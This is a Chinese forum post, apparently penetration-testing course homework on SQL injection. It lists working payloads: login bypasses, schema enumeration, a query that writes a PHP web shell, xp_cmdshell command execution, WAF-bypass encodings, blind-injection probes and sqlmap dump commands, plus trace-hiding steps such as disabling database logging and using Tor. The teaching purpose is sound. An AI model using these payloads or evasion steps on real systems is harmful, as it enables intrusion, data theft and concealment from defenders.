发帖
 找回密码
 立即注册
搜索
0 0

分享 第十三节:SQL注入

技术分享 1005 0 2025-4-2 18:19:01
本帖最后由 Y_Y 于 2025-4-2 18:37 编辑

WEB渗透测试工程师系统班250303期
第13节课作业

1. SQL注入漏洞的原理是什么?
本质:用户输入被误解析为SQL代码的一部分。
SQL注入是一种通过操纵输入数据来篡改SQL查询逻辑的攻击技术,攻击者利用此漏洞可以绕过认证、窃取数据甚至控制数据库服务器。
2. SQL注入漏洞的危害是什么?
1.数据泄露
2.数据被篡改和破坏
3.植入挖矿脚本或木马
3. SQL注入漏洞的利用思路?
一、漏洞探测阶段1. 寻找注入点
    经典探测Payload:
'             -- 触发语法错误(判断是否动态拼接);
"OR 1=1 --    -- 恒真条件测试
2. 判断数据库类型和版本
二、信息收集阶段
1. 获取数据库结构
-- 获取所有数据库名
SELECT schema_name FROM information_schema.schemata;
-- 获取当前数据库表名
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
-- 获取users表的列名
SELECT column_name FROM information_schema.columns WHERE table_name='users';
2. 提取关键数据
靶向攻击敏感表:
-- 获取管理员密码
SELECT username, password FROM admins LIMIT 1;
三、漏洞深度利用
1. 绕过认证
经典登录绕过
admin' --
admin' OR '1'='1'
' UNION SELECT 'admin', 'md5hash' FROM admins --
2. 数据导出MySQL文件写入
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
(需secure_file_priv权限)
3. 命令执行 SQL Server扩展存储过程
EXEC xp_cmdshell 'whoami';
Oracle Java执行
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper cmd.exe /c dir') FROM dual;
四、高级绕过技术
1. WAF绕过技巧
编码混淆
/*!SELECT*/ 1;       -- MySQL内联注释
S%ELE%CT 1;          -- URL编码
等价替换
OR 1=1 OR 2>1UNION SELECTUNION ALL SELECT
2. 盲注利用
布尔盲注(通过条件响应判断):
AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'
时间盲注(利用延时函数)
IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)
五、自动化工具链
1. sqlmap实战命令
# 基础检测sqlmap -u "http://example.com/?id=1" --batch
# 获取所有数据sqlmap -u "http://example.com/?id=1" --dump-all
# 绕过WAFsqlmap -u "http://example.com/?id=1" --tamper=space2comment
2. Burp Suite辅助Intruder模块爆破表名:
' AND (SELECT 1 FROM users WHERE table_name LIKE 'a%')=1 --
六、防御规避与痕迹清理
1.禁用日志记录
SET GLOBAL general_log = 'OFF';
2.使用TOR网络隐藏IP。
七、漏洞修复验证
参数化查询验证
# 安全写法(Python示例)cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
4. 在一个真实站点,哪些功能点会存在SQL注入漏洞?
真实站点中,任何接收用户输入并与数据库交互的功能点都可能存在SQL注入,尤其是老旧系统、快速开发的Web应用和未经验证的API接口。攻击者通常优先测试登录、搜索、URL参数、头像上传等高频交互点。
实际操作课堂讲解的yakit sql注入靶场


──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回